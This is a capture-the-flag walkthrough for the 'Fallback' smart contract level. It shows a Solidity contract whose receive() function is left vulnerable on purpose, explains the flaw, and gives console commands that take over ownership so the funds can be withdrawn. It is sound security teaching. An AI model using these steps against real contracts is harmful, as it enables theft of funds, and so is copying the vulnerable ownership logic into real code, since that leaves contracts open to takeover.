# Fallback

## Description

Look carefully at the contract's code below.

You will beat this level if

1. you claim ownership of the contract
2. you reduce its balance to 0

Things that might help

* How to send ether when interacting with an ABI
* How to send ether outside of the ABI
* Converting to and from wei/ether units (see `help()` command)
* Fallback methods

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
```

When the contract is pushed to the chain, it sets the creator of this contract to be the `owner` and sets the "contribution" of the owner to be 1000 ether. The contract defines a public `contribute()` function to let users contribute ethers to the contract. If any user has greater contribution, this user becomes the new owner. The owner of this contract is able to call `withdraw()`.

The contract implements a vulnerable `receive()` function:

```solidity
receive() external payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}
```

This is a special function that is called automatically when an user sends some ether to a contract without specifying anything in the `data` field of the transaction.

> If `data` field is non-empty, then `fallback()` function will be called; if `data` field is empty, then `receive()` function will be called.

Here we can just send some ether to the contract to warm up `contributions[msg.sender]` and then send some ether again to fulfill the `require()` statement. After that `owner = msg.sender` will be triggered and we can call `withdraw()` to steal all the money.

## Solution

Contribute 1 wei to the contract:

```javascript
await contract.contribute({value:1})
```

Send 1 wei to the contract with an empty `data` field in order to trigger the `receive()` function:

```javascript
await contract.sendTransaction({value:1})
```

Note that `sendTransaction(<json_data>)` is a [web.js](https://web3js.readthedocs.io/) function, not a function defined inside the contract.

Now we should be the owner of this contract. To verify:

```javascript
await contract.owner()
```

## Summary

You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.

You've also learnt about OpenZeppelin's Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.

Move on to the next level when you're ready!
